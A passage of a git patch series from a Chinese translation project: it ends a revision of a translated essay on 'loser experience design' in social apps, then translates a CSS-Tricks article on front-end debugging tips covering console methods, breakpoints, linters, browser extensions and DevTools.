-当平台重点关注「赞」和「最爱」之间的共同利益和社交纽带时，他们帮助每个人找到一个他们所属的地方。Instagram 已经做了很好的工作，他们的发现功能，不断地表现出与*你的*人相邻的人，而不是最喜欢或粉丝。他们的新发现功能帮助我找到我的[吉他](https://www.instagram.com/leoleoband/)[人](https://www.instagram.com/lostincrystalcanyons/)，我的[cat](https://www.instagram.com/scruffles_fatcat/)[people](https://www.instagram.com/12catslady/)，甚至发现一个全新的[草原](https://www.instagram.com/rinran032/)社区[dog](https://www.instagram.com/prairiedogpack/)[people](https://www.instagram.com/pimpa_wan/)。正如我更多地使用这些发现功能，我已经开始更少关注我获得了多少「粉丝」和「赞」，并更多地关注与我互动的人 -- 这是一个好的失败者体验设计的信号。
+当平台重点关注「赞」和「最爱」之间的共同利益和社交纽带时，他们帮助每个人找到一个他们所属的地方。Instagram 已经做了很好的工作，他们的发现功能，持续展示出与**你**接近（类似）的人，而不是最受欢迎的或粉丝最多的。他们的新发现功能帮助我找到我的[吉他](https://www.instagram.com/leoleoband/)[人](https://www.instagram.com/lostincrystalcanyons/)，我的[cat](https://www.instagram.com/scruffles_fatcat/)[people](https://www.instagram.com/12catslady/)，甚至发现一个全新的[草原](https://www.instagram.com/rinran032/)社区[dog](https://www.instagram.com/prairiedogpack/)[people](https://www.instagram.com/pimpa_wan/)。正如我更多地使用这些发现功能，我已经开始更少关注我获得了多少「粉丝」和「赞」，并更多地关注与我互动的人 -- 这是一个好的失败者体验设计的信号。
 
-- **Give “passive” users meaningful ways to engage.**
-- **给「被动」用户有意义的方式来交流**
+- **给「被动」用户有意义的方式来参与**
 
-Tumblr’s reblog feature is a great example of good loser experience design. If somebody sees something they like, they can *share it to their entire network*, rather than just leaving a comment or a “like.” This helps people engage with each other more deeply, and means that a post written by somebody with a small number of followers can find a wide audience as it makes its way through networks and communities of people. It also gives people who don’t want to “write” a post a meaningful way to contribute and engage.
-Tumblr 的重新登录功能是一个很好的失败者体验设计的例子。如果有人看到他们喜欢的东西，他们可以把它*分享给他们的整个网络*，而不仅仅是留下评论或「赞」，这样可以帮助人们更深入地互相交流，这意味着由数量不多追随者的写作的投递可以通过网络和社区来找到更广泛的观众。他也给不想「写」的人一个有意义的方式贡献与参与。
+Tumblr 的转发功能是一个很好的失败者体验设计的例子。如果有人看到他们喜欢的东西，他们可以把它**分享给他们的整个网络**，而不仅仅是留下评论或「赞」，这样可以帮助人们更深入地互相交流，这意味着由数量不多追随者的写作的投递可以通过网络和社区来找到更广泛的观众。他也给不想「写」的人一个有意义的方式贡献与参与。
 
-- **Test your product with people who are not “power users.”**
 - **让不是「高级用户」的人测试你的产品。**
 
-Finally, and perhaps most importantly, break out of the design and testing patterns that lead to equating “power users” with “good users.” Over-reliance on internal “dogfooding,” where new products and features are tested primarily with a company’s own employees, is a one-way ticket to bad loser experience design. Dismissing user testing candidates who are not over the moon for your product is another surefire road to bad loser experience design. Think through the needs and behaviors of casual users as extensively as you think through those of “power users” — and ask yourself, “if I only use this product a few times a week, will it make me feel like a *loser*?”
-最后，也许最重要的是，突破了设计和测试模式，导致将「高级用户」和「好用户」画等号。过度依赖内部的「dogfooding」（一种测试方法，译者注），其中新产品和功能主要由公司自己的员工测试，这是通往坏的失败者体验设计的单程票。解散对你的产品不满意的用户测试候选人是另一个通往糟糕的失败者体验设计的可靠途径。通过对「高级用户」的思考，广泛的考虑休闲用户的需求和行为 -- 并问自己「如果我每周只用几次这款产品，会让我感觉像一个「失败者」吗？」
+最后，也可能是最重要的，突破了设计和测试模式，导致将「高级用户」和「好用户」画等号。过度依赖内部的「dogfooding」（一种测试方法，译者注），其中新产品和功能主要由公司自己的员工测试，这是通往坏的失败者体验设计的单程票。解散对你的产品不满意的用户测试候选人是另一个通往糟糕的失败者体验设计的可靠途径。通过对「高级用户」的思考，广泛的考虑休闲用户的需求和行为 - 并问自己「如果我每周只用几次这款产品，会让我感觉像一个「失败者」吗？」
 
-#### Loser Experience Design in the Wild ####
-#### 野生的失败者体验设计 ####
+#### 自然环境下的失败者体验设计 ####
 
-Has your day-to-day usage of a product or platform been affected by bad loser experience design? Leave a response and let me know your thoughts. And be sure to hit that “like” button, so that I can feel like a high-status *winner* right here on medium dot com.
 您的日常使用产品或平台是否受到糟糕的失败者体验设计的影响？发表回复，让我知道你的想法。并且一定要点赞，这样我就可以在 Medium 上感受到自己是一个高阶的*赢家*。
 
 ---

From 554b601f95072b79d370bb0438da6f2a8501b5e6 Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Mon, 24 Apr 2017 23:23:18 +0800
Subject: [PATCH 250/638] Update debugging-tips-tricks.md

---
 TODO/debugging-tips-tricks.md | 210 +++++++++++++++++-----------------
 1 file changed, 108 insertions(+), 102 deletions(-)

diff --git a/TODO/debugging-tips-tricks.md b/TODO/debugging-tips-tricks.md
index 12b0aec52df..6b0472d0760 100644
--- a/TODO/debugging-tips-tricks.md
+++ b/TODO/debugging-tips-tricks.md
@@ -1,165 +1,169 @@
 > * 原文地址：[Debugging Tips and Tricks](https://css-tricks.com/debugging-tips-tricks/)
 > * 原文作者：[SARAH DRASNER](https://css-tricks.com/author/sdrasner/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[lsvih](https://github.com/lsvih)
 > * 校对者：
 
-# Debugging Tips and Tricks #
+# 前端 Debug 技巧与诀窍  #
 
-Writing code is only one small piece of being a developer. In order to be efficient and capable at our jobs, we must also excel at debugging. When I dedicate some time to learning new debugging skills, I often find I can move much quicker, and add more value to the teams I work on. I have a few tips and tricks I rely on pretty heavily and found that I give the same advice again and again during workshops, so here’s a compilation of some of them, as well as some from the community. We'll start with some core tenants and then drill down to more specific examples.
+编写代码其实只是开发者的一小部分工作。为了让工作更有效率，我们还必须精通 debug。我发现，花一些时间学习新的调试技巧，往往能让我能更快地完成工作，对我的团队做出更大的贡献。对于调试这方面我总结了一些技巧与诀窍，我非常地依赖它们。但是，我发现在研讨会中我总是要一遍又一遍地重复这些建议，因此我对它们进行了一个汇总（其中有一些来自于社区）。我们将从一些核心概念开始讲解，然后深入探讨一些具体的例子。
 
-### Main Concepts ###
+### 主要概念 ###
 
-#### Isolate the Problem ####
+#### 隔离问题 ####
 
-Isolation is possibly the strongest core tenant in all of debugging. Our codebases can be sprawling, with different libraries, frameworks, and they can include many contributors, even people who aren't working on the project anymore. Isolating the problem helps us slowly whittle away non-essential parts of the problem so that we can singularly focus on a solution.
+隔离问题大概是 debug 中最重要的核心概念。我们的代码库是由不同的类库、框架组成的，它们有着许多的贡献者，甚至还有一些不再参与项目的人也为其提供过代码，因此我们的代码库是杂乱无章的。隔离问题可以帮助我们将与问题无关的部分去除，让我们能专注于问题以寻找解决方案。
 
-Some of the benefits of isolation include, but are not limited to:
+隔离问题的好处有且不限于以下几条：
 
-- Figuring out if it’s actually the root cause we think it is or some sort of conflict
-- For time-based tasks, understanding whether or not there is a race condition
-- Taking a hard look at whether or not our code can be simplified, which can help with both writing it and maintaining it
-- Untangling it and seeing if it’s one issue or perhaps more
+- 能够指出问题的根本原因是我们想象的那样，还是另外的某些冲突。
+- 对于时序任务，能判断是否存在竞争状态。
+- 严格审查我们的代码是否还能够更加精简，这样既能帮助我们写代码也能帮助我们维护代码。
+- 解开纠缠在一起的代码，以观察到底是只有一个问题还是存在更多的问题。
 
-It's very important to make the issue reproducible. Without being able to discern exactly what the issue is in a way where you can reproduce it, it’s very difficult to solve for it. This also allows you to compare it to working model that is similar so that you can see what changed or what is different between the two.
+让问题能够被重现是很重要的。如果你不能重现问题来分辨出它到底出在哪里，你将会很难修复这个问题。或者你也可以将它和类似的正常工作的模块进行对比，这样你就可以发现哪里进行过改动，或者发现两者之间有什么不同。
 
-I have a lot of different methods of isolation in practice. One is to create a reduced test case on a local instance, or a private CodePen, or a JSBin. Another is to create breakpoints in the code so that I can see it execute bit by bit. There are a few ways to define breakpoints:
+在实际操作中，我有许多种方法对问题进行隔离。其中一种是在本地创建一个精简的测试用例，当人也可以在 CodePen 或  JSBin 中创建一个私人的测试用例。另一种是在代码中创建断点，这样可以让我一字节一字节地观察代码的执行情况。以下是几种定义断点的方式：
 
-You can literally write `debugger;` inline in your code. You can see how this will fire small pieces at a time.
+你可以在你代码中逐行地写上 `debugger;`，这样你可以看到当时这一小块代码做了什么。
 
-You can take this one step further in Chrome DevTools and even walk through the next events that are fired or choose specific event listeners:
+你还可以使用 Chrome 开发者工具来代替这一步，它可以单步跟踪事件的发生。你也可以用它选择性地观察指定的事件监听器。
 
 ![Step into the next function call](https://cdn.css-tricks.com/wp-content/uploads/2017/04/stepintonextfunctioncall.gif)
 
-Good 'ol `console.log` is a form of isolation. (Or `echo` in PHP, or `print` in python, etc…). You are taking one tiny piece of execution and testing your assumptions, or checking to see if something is altering. This is probably the most time-tested form of debugging, that no matter how advanced you become, still has it's uses. Arrow functions in ES6 have allowed us to step up our console debugging game as well, as it’s now a lot easier to write useful one-liners in the console.
+实现隔离问题需要正确地使用 `console.log`（PHP 中是 `echo`，python 中是 `print` ……）。你可以一小片一小片地执行代码并对你的假设进行测试，或者检查看有什么东西发生了变化。这可能是最耗费时间的测试方式了。但是无论你的水平如何高，你还是得乖乖用它。ES6 的箭头函数也可以加速我们的 debug 游戏，它让我们可以在控制台中更方便地写单行代码。
 
-The `console.table` function is also a favorite tool of mine, especially great for when you have a lot of data you need to represent- large arrays, large objects and the like. The `console.dir` function is also a nice alternative. It will log an interactive listing of an object's properties.
+`console.table` 函数也是我最喜欢的工具之一。当你有大量的数据（例如很长的数组、巨大的对象等等）需要展示的时候，它特别有用。`console.dir` 函数也是个不错的选择。它可以将对象的原型链以可交互的列表形式打印在控制台中。
 
 ![](https://cdn.css-tricks.com/wp-content/uploads/2017/04/dir.png)
 
-console.dir gives an interactive listing
+**上图为 console.dir 输出的可交互的列表**
 
-#### Be Methodical ####
+#### 理清条理 ####
 
-When I teach workshops and help students in my class, the number one thing that I find holds them back as they try to debug a problem is not being methodical enough. This is truly a tortoise-and-the-hare kind of situation. They understandably want to move quickly, so they change a ton of things at once, and then when something stops working, they don’t know which thing they changed is causing the error. Then, to debug, they change many things at once and get a little lost trying to figure out what is working and what isn't.
+当我在研讨会上做讲师，帮助我的班级的学生时，我发现，思路不够清晰是阻碍他们调试的一大问题。这实际上是一种龟兔赛跑的情形。他们想要行动的更快，因此他们会在写代码时一次就改写成吨的代码——然后出了某些问题，他们不知道到底是改的那部分导致了问题的出现。接着，为了 debug，他们又一次改很多代码，最后迷失在寻找哪里能正常运行、哪里不能正常运行中。
 
-We all do this to some extent. As we become more proficient with a tool, we can write more and more code without testing an assumption. But if you’re new to a syntax or technology, being slow and careful behooves you. You have a much better shot at backing out of an issue you might have inadvertently created for yourself. And indeed, once you have created an issue, debugging one thing at a time might seem slower, but exposes exactly what changes have happened and where the error lies in a way that a *seemingly* faster pace doesn’t allow. I say seemingly because the time isn’t actually recovered working this way.
+其实我们或多或少都在这么做。当我们对一个工具越来越熟练时，我们会在没有测试的情况下写越来越多的代码。但是当你刚开始用一个语法或技术时，你需要放慢速度并且非常谨慎。你将能越来越快地处理自己无意间造成的错误。其实，当你弄出了一个问题的时候，一次调试一个问题可能会看起来慢一些，但其实要找出哪里发生了变化以及问题的所在是没法快速解决的。我说以上这些话是想告诉你：欲速则不达。
 
-**Do you remember when you were a kid and your parents said, "if you get lost, stay where you are?"** My parents did, at least. It's because if they were moving around to find me and I was also moving around to find them, we'd have fewer chances of bumping into one another. Code works the same way. The less moving pieces you have, the better- the more you are returning consistent results, the easier it will be to track things down. So while you’re debugging, try not to also install anything, or put in new dependencies. If you see a different error every time you should be returning a static result, that’s a big red flag you should be headed right for with your sleuth hat on.
+**你还记得小时候父母告诉你的话吗？“如果你迷路了，待在原地别动。“** 至少我的父母这么说了。这么说的原因是如果他们在到处找我，而我也在到处跑着找他们的话，我们将更难碰到一起。代码也是这样的。你每次动的代码越少就越好，你持续返回的结果越多，就越容易找到问题所在。所以当你在调试时，请尽量不要安装任何东西或者添加新的依赖。如果本应该返回一个静态结果的地方每次都出现不同的错误，你就得特别注意了！
 
-### Choose Good Tools ###
+### 选用优秀的工具 ###
 
-There are a million different tools for solving a variety of problems. I’m going to work through some of the tools I find the most useful and then we’ll link off to a bevy of resources.
+人们开发了无数的工具用于解决各种各样的问题。下面，我会依次介绍一些我觉得最有用的工具，并在最后贴上相关资源的链接。
 
-#### Syntax Highlighting ####
+#### 代码高亮 ####
 
-Sure, it’s damn fun to pick out the new hotness in colors and flavors for your syntax highlighting theme, but spending some time thinking about clarity here matters. I often pick dark themes where a skip in syntax will turn all of my code a lighter color, I find errors are really easy to see right away. I tend to like Oceanic Next or Panda, but really, to each their own on this one. It’s important to keep in mind that when looking for a good syntax highlighter, awesome-looking is great, but functional for calling out your mistakes is most important, and it's totally possible to do both.
+当然，为你的代码高亮主题找一个最热辣的配色与风格方案是很有趣的，但是请花点时间想清楚这件事。我经常选用黑色的主题，我的所有代码都会被渲染成明亮的颜色，这样我就可以很轻松地找到错误了。我也尝试过使用 Oceanic Next 配色方案与 Panda 配色方案，但是说实话我还是最喜欢自己的那种。在寻找优秀的代码高亮工具的时候请保持理智，帅气的外观当然很棒，但是为你揪出错误的功能性更加重要。当然，你完全有可能找到两者都很优秀的代码高亮工具。
 
-#### Linting ####
+#### 使用 Lint 工具 ####
 
-Linting helps flag suspicious code and calls out errors we might have overlooked. Linting is incredibly important, but which linter you choose has so much to do with what language/framework you’re writing in, and then on top of that, what your agreed-upon code style is.
+使用 Lint 工具能够帮助我们标记出来一些可以的代码，并且能报出我们忽视的一些错误。Lint 工具相当的重要，使用何种 lint 工具取决于你使用的语言与框架，以及最重要的：你认可怎样的代码风格。
 
-Different companies have different code styles and rules. Personally, I like [AirBnB's](https://github.com/airbnb/javascript), but take care and don't just use any old linter. Your linter enforces patterns that, if you yourself don’t want to enforce, can stall your build process. I had a CSS linter that complained whenever I wrote a browser hack, and ended up having to circumvent it so often that it stopped being useful. But a good linter can shine light on small errors you might have missed that are lurking.
+不同的公司有着不同的代码风格及规定。我个人比较喜欢 [AirBnB 的 JS 代码规范](https://github.com/airbnb/javascript)。你的 Lint 工具将会强制你按照指定的模式进行编程，否则它可以终止你的构建过程。我曾经使用过一个 CSS Lint 工具，当我为浏览器写 css hack 时，它一直在报错。最后我不得不常常关闭它，它也就没能起到应有的作用。但是一个好的 Lint 工具可以把你忽视的一些潜在的问题指出来。
 
-Here are some resources:
+下面是几个资源：
 
-- I recently found [this responsive images linter](https://github.com/ausi/respimagelint), that tells you what opportunities you might have to use picture, srcset, or sizes.
-- Here’s a [pretty good breakdown](https://www.sitepoint.com/comparison-javascript-linting-tools/) of some JS linters
+- 我最近找到了一个[响应式图片 lint 工具](https://github.com/ausi/respimagelint)，它可以告诉你使用 picture 元素、srcset 属性以及 size 属性的时机。
+- 这儿有个[很好的分类](https://www.sitepoint.com/comparison-javascript-linting-tools/)，收集与对比了一些 JS lint 工具。
 
-#### Browser Extensions ####
+#### 浏览器插件 ####
 
-Extensions can be really awesome because they can be enabled and disabled so readily, and they can work with really specific requirements. If you’re working with a particular library or framework, chances are, having their extension for DevTools enabled is going to give you all sorts of clarity that you can’t find otherwise. Take care though- not only can extensions bog a browser down, but they have permissions to execute scripts, so do a little homework into the extension author, ratings, and background. All that said, here are some of my favorites:
+插件是真的超级棒，你可以轻松地启用或禁用它们。并且它们能在特定需求中发挥重要的作用。如果你使用一些特定的框架或类库工作，使用它们的开发者工具插件将会带给你无与伦比的便利。不过请注意，插件不仅会降低浏览器的速度，它们也有权限执行代码。因此在你使用之前，请先了解一下插件的作者、评价及背景。总之，下面是一些我最喜欢的插件：
 
-- [Accessibility extension](https://chrome.google.com/webstore/detail/axe/lhdoppojpmngadmnindnejefpokejbdd) from Dequeue Systems
-- [React DevTools](https://chrome.google.com/webstore/detail/react-developer-tools/fmkadmapgofadopljbjfkapdkoienihi) really vital, in my opinion, if you're working with React, to see their virtual DOM
-- [Vue DevTools](https://chrome.google.com/webstore/detail/vuejs-devtools/nhdogjmejiglipccpnnnanhbledajbpd) same endorsement as above.
-- [Codopen](https://chrome.google.com/webstore/detail/codopen/agnkphdgffianchpipdbkeaclfbobaak): pops you out of the editor mode into a debug window for CodePen. Full disclosure: my husband made this for me as a present because he was sick of watching me manually opening the debug window (best gift ever!)
-- [Pageruler](https://chrome.google.com/webstore/detail/page-ruler/jlpkojjdgbllmedoapgfodplfhcbnbpn): get pixel dimensions and measure anything on a page. I like this one because I’m super duper anal about my layout. This helps me feed the beast.
+- Deque Systems 提供的 [aXe](https://chrome.google.com/webstore/detail/axe/lhdoppojpmngadmnindnejefpokejbdd)，是一款优秀的可行性分析插件。
+- 如果你工作中使用 React，[React DevTools](https://chrome.google.com/webstore/detail/react-developer-tools/fmkadmapgofadopljbjfkapdkoienihi) 是你必不可少的工具，你可以通过它观察虚拟 DOM。
+- [Vue DevTools](https://chrome.google.com/webstore/detail/vuejs-devtools/nhdogjmejiglipccpnnnanhbledajbpd)，当你使用 Vue 时，同上。
+- [Codopen](https://chrome.google.com/webstore/detail/codopen/agnkphdgffianchpipdbkeaclfbobaak)：它会会从编辑器模式弹出 CodePen 的调试窗口。八卦：我老公因为不喜欢看到我一直手动打开调试窗口，所以特意开发了这个工具。（真是个好礼物）
+- [Pageruler](https://chrome.google.com/webstore/detail/page-ruler/jlpkojjdgbllmedoapgfodplfhcbnbpn)：它能得到页面中的像素尺寸以及任何需要测量的值。我喜欢这个工具，因为我对于我的布局变态般挑剔。它能帮助我解决这些问题。
 
-### DevTools ###
+### 开发者工具 ###
 
-This is probably the most obvious of debugging tools, and there are so many things you can do with them. They can have so many packed-in features that can be easy to miss, so in the next section of specific tips, we'll go into a deep dive of some favorites.
+这可能是最直观的调试工具了，你可以用它们办到许多事情。它们有着许多内置的特性容易被人所忽视，因此在这个章节中，我们会深入探讨一些我喜欢的特性。
 
-Umar Hansa has great materials for learning what the DevTools can do. He has [a weekly newsletter and GIFs](https://umaar.com/dev-tips/), a new course linked in the last section, and [an article on our site](https://css-tricks.com/six-tips-for-chrome-devtools/).
+关于学习开发者工具的功能，Umar Hansa 有一套特别好的资料。他制作了一个[每周周报与 GIF 动图](https://umaar.com/dev-tips/)网站、制作了我们最后一节提到的一个新课程，并在我们网站发表了[这篇文章](https://css-tricks.com/six-tips-for-chrome-devtools/)。
 
-One of my favorite recent ones is this [CSS Tracker Enhancement](https://umaar.com/dev-tips/126-css-tracker/), shown here with permission from Umar. This shows all of the unused CSS so that you can understand the performance impact.
+我最近特别喜欢的一个工具是[CSS Tracker 增强插件](https://umaar.com/dev-tips/126-css-tracker/)，收到 Umar 的许可之后我将这个工具在这儿展示给大家看。它会显示出所有没有使用过的 CSS，你可以由此来理解 CSS 对于性能的影响。
 
 ![](https://cdn.css-tricks.com/wp-content/uploads/2017/04/Screen-Shot-2017-04-10-at-10.20.11-AM.png)
 
-The CSS tracker shows color-coded rules for used and unused sets.
+**上图展示了 CSS tracker 为代码被使用的部分和未被使用的部分按照规则表上不同的颜色。**
 
-#### Misc Tools ####
+#### 各色各样的工具 ####
 
-- [What input](https://ten1seven.github.io/what-input/) is a global utility for tracking the current input method (mouse, keyboard or touch), as well as the current intent- this can be really good for tracking down accessiblity leaks (hat tip to Marcy Sutton, accessibility expert for this tipoff)
-- [Ghostlabapp](https://www.vanamco.com/ghostlab/) is a pretty snazzy tool if you’re doing responsive development or checking anything deployed across a ton of devices. It offers synchronized web development, testing, and inspection.
-- [Eruda is an awesome tool](http://eruda.liriliri.io/) that helps debug on mobile devices. I really like it because it takes a simulator a step further, gives a console and real devtools to help you gain understanding.
+- [What input](https://ten1seven.github.io/what-input/) 是一个能跟踪当前输入（鼠标、键盘、触摸）与当前信息的实用工具。（感谢 Marcy Sutton 提供了这个便捷的工具）
+- 如果你做的是响应式开发，或者你得在无数种设备上进行检查，那么 [Ghostlabapp](https://www.vanamco.com/ghostlab/) 是个挺适合你的时髦工具。它为你提供了同步移动 web 开发、测试与检查。
+- [Eruda 是个很棒的工具](http://eruda.liriliri.io/)，它可以帮助我们在移动设备上进行调试。我很喜欢它，因为它进一步提供了一个模拟器，还为你准备了控制台和真实的开发者工具，让你更容易理解。
 
 ![eruda gives you a mobile console](https://cdn.css-tricks.com/wp-content/uploads/2017/04/Screen-Shot-2017-04-10-at-10.38.57-AM.png)
 
-### Specific Tips ###
+### 特别提示 ###
 
-I am always interested in what other people do to debug, so I asked the community through the CSS-Tricks account and my own what they were really into. This list is a mixture of tips I like as well as a roundup of tips from the community.
+我一直对其他人是怎么 debug 的很感兴趣，所以我在 CSS-Tricks 与一些我个人很喜欢的社区进行了提问。以下是社区中大家给出的技巧的合集。
 
-#### Accessibility ####
+> 译注：以下如“@xxx -2017年3月15日”格式的文字均为用户在推特上的发言，点击日期可以看到原推特。
+
+#### 辅助方法 ####
 
 ```
 $('body').on('focusin',function(){
   console.log(document.activeElement);});
 ```
 
-> This logs the currently focused element, useful because opening the Devtools blurs the activeElement
+> 这段代码会记录当前焦点所在的元素。它用起来很方便，因为当你打开开发者工具的时候会将 activeElement 的焦点移除。
 
 -[Marcy Sutton](https://twitter.com/marcysutton)
 
-#### Debugging CSS ####
+#### 调试 CSS ####
 
-We got quite a lot of responses saying that people put red borders on elements to see what they’re doing
+我们收到很多回复说一些人喜欢在元素外面加上红色的边框（border），以此来观察元素的行为。
 
-> [@sarah_edo](https://twitter.com/sarah_edo) for CSS, I'll usually have a .debug class with a red border that I slap on troublesome elements.
+> [@sarah_edo](https://twitter.com/sarah_edo)：对于 CSS，我通常会给有问题的元素加上一个 .debug 的 class，这个 class 定义了红色的 border。
 >
-> — Jeremy Wagner (@malchata) [March 15, 2017](https://twitter.com/malchata/status/842029469246324736)
+> — Jeremy Wagner (@malchata) [2017年3月15日](https://twitter.com/malchata/status/842029469246324736)
 
-I do this too, I even have a little CSS file that drops in some classes I can access for different colors easily.
+我也会这么做。而且我还做了一个简单的 CSS 文件，可以让我方便地用一些 class 来加上不同的颜色。
 
-#### Checking State in React ####
+#### 检测 React 的 State ####
 
-> [@sarah_edo](https://twitter.com/sarah_edo) <pre>{JSON.stringify(this.state, null, 2)}</pre>
+> [@sarah_edo](https://twitter.com/sarah_edo)：<pre>{JSON.stringify(this.state, null, 2)}</pre>
 >
-> — MICHAEL JACKSON (@mjackson) [March 15, 2017](https://twitter.com/mjackson/status/842041642760646657)
+> — MICHAEL JACKSON (@mjackson) [2017年3月15日](https://twitter.com/mjackson/status/842041642760646657)
 
-Props to Michael, this is one of the most useful debugging tools I know of. That snippet "pretty prints" the state of the component you're working with onto the component so that you can see what’s going on. You can validate that the state is working the way that you think it should be, and it helps track down any errors between the state and how you're using it.
+Michael 提到的这个办法，是我认为最有用的 debug 工具之一。代码片段“漂亮地打印出了”你当前正在使用的组件的 state，因此你可以了解此时此刻这个组件将会如何变化。你可以确认这个 state 是否和你设想的一样正常工作，它可以帮助你跟踪任何 state 中的错误，以及你使用 state 出现的错误。
 
-#### Animation ####
+#### 动画 ####
 
-We got a lot of responses that said they slow the animation way down:
+我们收到了许多的回复，说他们会在调试时减慢动画速度：
 
-> [@sarah_edo](https://twitter.com/sarah_edo)[@Real_CSS_Tricks](https://twitter.com/Real_CSS_Tricks) * { animation-duration: 10s !important; }
+> [@sarah_edo](https://twitter.com/sarah_edo)[@Real_CSS_Tricks](https://twitter.com/Real_CSS_Tricks)： * { animation-duration: 10s !important; }
 >
-> — Thomas Fuchs (@thomasfuchs) [March 15, 2017](https://twitter.com/thomasfuchs/status/842029720820695040)
+> — Thomas Fuchs (@thomasfuchs) [2017年3月15日](https://twitter.com/thomasfuchs/status/842029720820695040)
+
+我在之前的文章[《调试 CSS 关键帧动画》](https://css-tricks.com/debugging-css-keyframe-animations/)中提到过这个问题，那篇文章里还有更多的技巧，例如如何使用硬件加速、如何在不同时刻进行多种变换等。
 
-I mentioned this on a post I wrote right here on CSS Tricks about [debugging CSS Keyframe animations](https://css-tricks.com/debugging-css-keyframe-animations/), there are more tips too, like how to hardware accelerate, or work with multiple transforms in different percentages.
+我也会使用 JavaScript 将我的动画减速。在  GreenSock 中，以这种形式实现：`timeline.timeScale(0.5)`，它将会将整个时间轴都减速，而不是仅仅将一个动画减速，这个功能超级有用。在 mo.js 中，这个功能是这么写的：`{speed: 0.5}`。
 
-I also slow down my animations in JavaScript- in GreenSock that would look like: `timeline.timeScale(0.5)` (you can slow down the whole timeline, not just one thing at a time, which is super useful), in mo.js that would look like `{speed: 0.5}`.
+> 译注：[GreenSock](https://greensock.com) 与 mo.js 都是功能强大的js动画库
 
-[Val Head has a great screencast](https://www.youtube.com/watch?v=MjRipmP7ffM&amp;feature=youtu.be) going through both chrome and firefox devtools offering on animation.
+[Val Head 通过屏幕录像做了一个很好的视频](https://www.youtube.com/watch?v=MjRipmP7ffM&feature=youtu.be)，这个视频展示了 Chrome 与 Firefox 开发者工具中提供的动画调试功能。
 
-If you want to use the Chrome Devtools timeline to do performance audits, it's worth mentioning that painting is the most expense of the tasks, so all things being equal, pay a little more attention to a high percentage of that green.
+如果你打算用 Chrome 开发者工具的时间轴来进行性能评估，那么请注意绘制（paint）是最耗性能的步骤，因此当时间轴中绿色占比很高的时候请当心。
 
-#### Checking different connection speeds and loads ####
+#### 检查不同的连接速度与加载速度 ####
 
-I tend to work on fast connections, so I will throttle my connection to check and see what the performance would look like for people who don’t have my internet speed.
+我往往在网速很快的条件中工作，所以我会限制我的网速来观察那些网速较慢的人们所体验到的性能。
 
 ![throttle connection in devtools](https://cdn.css-tricks.com/wp-content/uploads/2017/04/Screen-Shot-2017-04-10-at-9.29.00-AM.png)
 
-This is also useful in conjunction with a hard reload, or with the cache empty
+这是个很有用的功能。它可以与强制刷新、清除缓存结合起来使用。
 
-> [@sarah_edo](https://twitter.com/sarah_edo) Not so secret trick. But still many people are unaware. You need DevTools open, and then right click over the refresh button. [pic.twitter.com/FdAfF9Xtxm](https://t.co/FdAfF9Xtxm)
+> [@sarah_edo](https://twitter.com/sarah_edo)：这儿有个不是秘密的小技巧，但是很多人还不知道：打开开发者工具，然后在刷新按钮上右击。[pic.twitter.com/FdAfF9Xtxm](https://t.co/FdAfF9Xtxm)
 >
-> — David Corbacho (@dcorbacho) [March 15, 2017](https://twitter.com/dcorbacho/status/842033259664035840)
+> — David Corbacho (@dcorbacho) [2017年3月15日](https://twitter.com/dcorbacho/status/842033259664035840)
 
-#### Set a Timed Debugger ####
+#### 设置定时 Debugger ####
 
-This one came from Chris. We have a whole writeup on it [right here](https://css-tricks.com/set-timed-debugger-web-inspect-hard-grab-elements/):
+这一条是 Chris 提供的。对于这点我们写了一篇[详细的文章](https://css-tricks.com/set-timed-debugger-web-inspect-hard-grab-elements/)。
 
 ```
 setTimeout(function() {
@@ -167,59 +171,61 @@ setTimeout(function() {
 }, 3000);
 ```
 
-It’s similar to the debugger; tool I mentioned earlier, except you can put it in a setTimeout function and get even more fine-tuned information
+它与我之前提到的 `debugger;` 工具很类似，不过你可以把它放在 setTimeout 函数中，得到更多详细的信息。
 
-#### Simulators ####
+#### 模拟器 ####
 
-> [@Real_CSS_Tricks](https://twitter.com/Real_CSS_Tricks) And just in case any Mac users didn't know this, iOS simulator + Safari is sweet. [pic.twitter.com/Uz4XO3e6uD](https://t.co/Uz4XO3e6uD)
+> [@Real_CSS_Tricks](https://twitter.com/Real_CSS_Tricks) 有的 Mac 用户可能还不知道，用 iOS 模拟器加上 Safari 简直不要太方便！ [pic.twitter.com/Uz4XO3e6uD](https://t.co/Uz4XO3e6uD)
 >
-> — Chris Coyier (@chriscoyier) [March 15, 2017](https://twitter.com/chriscoyier/status/842034009060302848)
+> — Chris Coyier (@chriscoyier) [2017年3月15日](https://twitter.com/chriscoyier/status/842034009060302848)
 
-I mentioned simulators with Eruda before. iOS users also get a pretty sweet simulator. I was going to tell you you have to install XCode first, but this tweet showed another way:
+我前面提到了使用 Eruda 模拟器。iOS 用户还有一种很好的模拟器可以使用。在过去，我会告诉你你得先安装 XCode，但是这条推特提供了一种不同的方法：
 
-> [@chriscoyier](https://twitter.com/chriscoyier)[@Real_CSS_Tricks](https://twitter.com/Real_CSS_Tricks) Or, you can use this approach if you didn't want to bother with installing xCode:  [https://t.co/WtAnZNo718](https://t.co/WtAnZNo718)
+> [@chriscoyier](https://twitter.com/chriscoyier)[@Real_CSS_Tricks](https://twitter.com/Real_CSS_Tricks) 如果你不想装 XCode，你也可以通过这种方式来使用模拟器：[https://t.co/WtAnZNo718](https://t.co/WtAnZNo718)
 >
-> — Chris Harrison (@cdharrison) [March 15, 2017](https://twitter.com/cdharrison/status/842038887904088065)
+> — Chris Harrison (@cdharrison) [2017年3月15日](https://twitter.com/cdharrison/status/842038887904088065)
 
-Chrome also has a device toggle which is helpful.
+Chrome 也有切换设备型号功能，很实用。
 
-#### Remote Debuggers ####
+#### 远程调试 ####
 
-> [@chriscoyier](https://twitter.com/chriscoyier)[@Real_CSS_Tricks](https://twitter.com/Real_CSS_Tricks)[https://t.co/q3OfWKNlUo](https://t.co/q3OfWKNlUo) is a good tool.
+> [@chriscoyier](https://twitter.com/chriscoyier)[@Real_CSS_Tricks](https://twitter.com/Real_CSS_Tricks)：[jsconsole](https://jsconsole.com) 是个很棒的工具。
 >
-> — Gilles 💾⚽ (@gfra54) [March 15, 2017](https://twitter.com/gfra54/status/842035375304523777)
+> — Gilles 💾⚽ (@gfra54) [2017年3月15日](https://twitter.com/gfra54/status/842035375304523777)
+
+在看到他发的这条推特前，我还真不知道有这么一个好用的工具！
 
-I actually didn't know about this tool until seeing this tweet. Pretty useful!
